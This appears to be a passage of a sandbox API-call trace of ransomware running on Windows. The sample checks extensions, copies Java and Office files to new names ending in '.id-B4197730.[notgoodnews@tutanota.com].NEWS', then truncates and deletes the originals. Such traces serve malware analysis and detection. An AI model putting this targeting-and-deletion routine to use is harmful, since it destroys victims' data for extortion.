lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.350] lstrlenW (lpString=".doc") returned 4 [0067.350] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.350] lstrlenW (lpString=".docx") returned 5 [0067.350] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.350] lstrlenW (lpString=".pdf") returned 4 [0067.350] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.350] lstrlenW (lpString=".xls") returned 4 [0067.350] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.350] lstrlenW (lpString=".xlsx") returned 5 [0067.350] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.350] lstrlenW (lpString=".ppt") returned 4 [0067.350] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.350] lstrlenW (lpString=".zip") returned 4 [0067.350] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.350] lstrlenW (lpString=".rar") returned 4 [0067.350] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.350] lstrlenW (lpString=".bz2") returned 4 [0067.350] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.350] lstrlenW (lpString=".7z") returned 3 [0067.350] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.350] lstrlenW (lpString=".dbf") returned 4 [0067.350] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.351] lstrlenW (lpString=".1cd") returned 4 [0067.351] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0067.351] lstrlenW (lpString=".jpg") returned 4 [0067.351] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.351] lstrcmpiW (lpString1=".txt", lpString2=".NEWS") returned 1 [0067.351] lstrlenW (lpString="jvm.hprof.txt") returned 13 [0067.351] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.351] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4226) returned 1 [0067.351] CloseHandle (hObject=0x354) returned 1 [0067.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0067.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.351] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0067.351] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.351] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.352] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0067.352] GetLastError () returned 0x0 [0067.352] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1082, lpOverlapped=0x0) returned 1 [0067.911] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1090, lpOverlapped=0x0) returned 1 [0067.912] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.912] WriteFile (in: hFile=0x35c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xee, lpOverlapped=0x0) returned 1 [0067.912] SetEndOfFile (hFile=0x35c) returned 1 [0067.912] CloseHandle (hObject=0x35c) returned 1 [0067.917] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.917] SetEndOfFile (hFile=0x354) returned 1 [0067.918] CloseHandle (hObject=0x354) returned 1 [0067.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.918] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0067.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.918] lstrlenW (lpString=".doc") returned 4 [0067.918] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0067.918] lstrlenW (lpString=".docx") returned 5 [0067.919] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0067.919] lstrlenW (lpString=".pdf") returned 4 [0067.919] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0067.919] lstrlenW (lpString=".xls") returned 4 [0067.919] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0067.919] lstrlenW (lpString=".xlsx") returned 5 [0067.919] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0067.919] lstrlenW (lpString=".ppt") returned 4 [0067.919] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0067.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.919] lstrlenW (lpString=".zip") returned 4 [0067.919] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0067.919] lstrlenW (lpString=".rar") returned 4 [0067.919] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0067.919] lstrlenW (lpString=".bz2") returned 4 [0067.919] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0067.919] lstrlenW (lpString=".7z") returned 3 [0067.919] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0067.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.919] lstrlenW (lpString=".dbf") returned 4 [0067.919] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0067.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.919] lstrlenW (lpString=".1cd") returned 4 [0067.919] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0067.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.919] lstrlenW (lpString=".jpg") returned 4 [0067.919] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0067.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.919] lstrlenW (lpString=".doc") returned 4 [0067.919] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0067.919] lstrlenW (lpString=".docx") returned 5 [0067.919] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1 [0067.919] lstrlenW (lpString=".pdf") returned 4 [0067.920] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0067.920] lstrlenW (lpString=".xls") returned 4 [0067.920] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0067.920] lstrlenW (lpString=".xlsx") returned 5 [0067.920] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1 [0067.920] lstrlenW (lpString=".ppt") returned 4 [0067.920] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0067.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.920] lstrlenW (lpString=".zip") returned 4 [0067.920] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0067.920] lstrlenW (lpString=".rar") returned 4 [0067.920] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0067.920] lstrlenW (lpString=".bz2") returned 4 [0067.920] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0067.920] lstrlenW (lpString=".7z") returned 3 [0067.920] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0067.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.920] lstrlenW (lpString=".dbf") returned 4 [0067.920] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0067.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.920] lstrlenW (lpString=".1cd") returned 4 [0067.920] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0067.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52 [0067.920] lstrlenW (lpString=".jpg") returned 4 [0067.920] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0068.065] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0068.065] lstrlenW (lpString="Welcome.html") returned 12 [0068.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0068.065] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=955) returned 1 [0068.065] CloseHandle (hObject=0x31c) returned 1 [0068.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0068.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0068.065] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.065] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.066] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0068.066] GetLastError () returned 0x0 [0068.066] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x3bb, lpOverlapped=0x0) returned 1 [0068.089] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x3c0, lpOverlapped=0x0) returned 1 [0068.091] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.091] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0068.091] SetEndOfFile (hFile=0x2f4) returned 1 [0068.091] CloseHandle (hObject=0x2f4) returned 1 [0068.095] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.095] SetEndOfFile (hFile=0x31c) returned 1 [0068.096] CloseHandle (hObject=0x31c) returned 1 [0068.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0068.096] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0068.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.096] lstrlenW (lpString=".doc") returned 4 [0068.096] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0068.096] lstrlenW (lpString=".docx") returned 5 [0068.096] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0068.096] lstrlenW (lpString=".pdf") returned 4 [0068.096] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0068.097] lstrlenW (lpString=".xls") returned 4 [0068.097] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0068.097] lstrlenW (lpString=".xlsx") returned 5 [0068.097] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0068.097] lstrlenW (lpString=".ppt") returned 4 [0068.097] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0068.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.097] lstrlenW (lpString=".zip") returned 4 [0068.097] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0068.097] lstrlenW (lpString=".rar") returned 4 [0068.097] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0068.097] lstrlenW (lpString=".bz2") returned 4 [0068.097] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0068.097] lstrlenW (lpString=".7z") returned 3 [0068.097] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0068.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.097] lstrlenW (lpString=".dbf") returned 4 [0068.097] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0068.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.097] lstrlenW (lpString=".1cd") returned 4 [0068.097] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0068.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.097] lstrlenW (lpString=".jpg") returned 4 [0068.097] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0068.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.097] lstrlenW (lpString=".doc") returned 4 [0068.097] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0068.097] lstrlenW (lpString=".docx") returned 5 [0068.097] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0068.097] lstrlenW (lpString=".pdf") returned 4 [0068.097] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0068.097] lstrlenW (lpString=".xls") returned 4 [0068.097] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0068.097] lstrlenW (lpString=".xlsx") returned 5 [0068.097] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0068.098] lstrlenW (lpString=".ppt") returned 4 [0068.098] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0068.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.098] lstrlenW (lpString=".zip") returned 4 [0068.098] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0068.098] lstrlenW (lpString=".rar") returned 4 [0068.098] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0068.098] lstrlenW (lpString=".bz2") returned 4 [0068.098] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0068.098] lstrlenW (lpString=".7z") returned 3 [0068.098] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0068.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.098] lstrlenW (lpString=".dbf") returned 4 [0068.098] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0068.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.098] lstrlenW (lpString=".1cd") returned 4 [0068.098] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0068.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0068.098] lstrlenW (lpString=".jpg") returned 4 [0068.098] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0068.098] lstrcmpiW (lpString1=".HTM", lpString2=".NEWS") returned -1 [0068.098] lstrlenW (lpString="OSPP.HTM") returned 8 [0068.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0068.132] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=174528) returned 1 [0068.133] CloseHandle (hObject=0x348) returned 1 [0068.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0068.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0068.134] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.134] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0068.149] GetLastError () returned 0x0 [0068.149] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0068.163] WriteFile (in: hFile=0x344, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2a9d0, lpOverlapped=0x0) returned 1 [0068.167] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.167] WriteFile (in: hFile=0x344, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1 [0068.167] SetEndOfFile (hFile=0x344) returned 1 [0068.628] CloseHandle (hObject=0x344) returned 1 [0068.632] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.632] SetEndOfFile (hFile=0x348) returned 1 [0068.634] CloseHandle (hObject=0x348) returned 1 [0068.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0068.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0068.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.635] lstrlenW (lpString=".doc") returned 4 [0068.635] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0068.635] lstrlenW (lpString=".docx") returned 5 [0068.635] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0068.635] lstrlenW (lpString=".pdf") returned 4 [0068.635] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0068.635] lstrlenW (lpString=".xls") returned 4 [0068.635] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0068.635] lstrlenW (lpString=".xlsx") returned 5 [0068.635] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0068.635] lstrlenW (lpString=".ppt") returned 4 [0068.635] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0068.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.635] lstrlenW (lpString=".zip") returned 4 [0068.635] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0068.635] lstrlenW (lpString=".rar") returned 4 [0068.635] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0068.635] lstrlenW (lpString=".bz2") returned 4 [0068.635] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0068.635] lstrlenW (lpString=".7z") returned 3 [0068.635] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0068.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.635] lstrlenW (lpString=".dbf") returned 4 [0068.635] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0068.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.635] lstrlenW (lpString=".1cd") returned 4 [0068.635] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0068.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.635] lstrlenW (lpString=".jpg") returned 4 [0068.635] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0068.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.635] lstrlenW (lpString=".doc") returned 4 [0068.635] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0068.636] lstrlenW (lpString=".docx") returned 5 [0068.636] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0068.636] lstrlenW (lpString=".pdf") returned 4 [0068.636] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0068.636] lstrlenW (lpString=".xls") returned 4 [0068.636] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0068.636] lstrlenW (lpString=".xlsx") returned 5 [0068.636] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0068.636] lstrlenW (lpString=".ppt") returned 4 [0068.636] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0068.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.636] lstrlenW (lpString=".zip") returned 4 [0068.636] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0068.636] lstrlenW (lpString=".rar") returned 4 [0068.636] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0068.636] lstrlenW (lpString=".bz2") returned 4 [0068.636] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0068.636] lstrlenW (lpString=".7z") returned 3 [0068.636] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0068.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.636] lstrlenW (lpString=".dbf") returned 4 [0068.636] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0068.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.636] lstrlenW 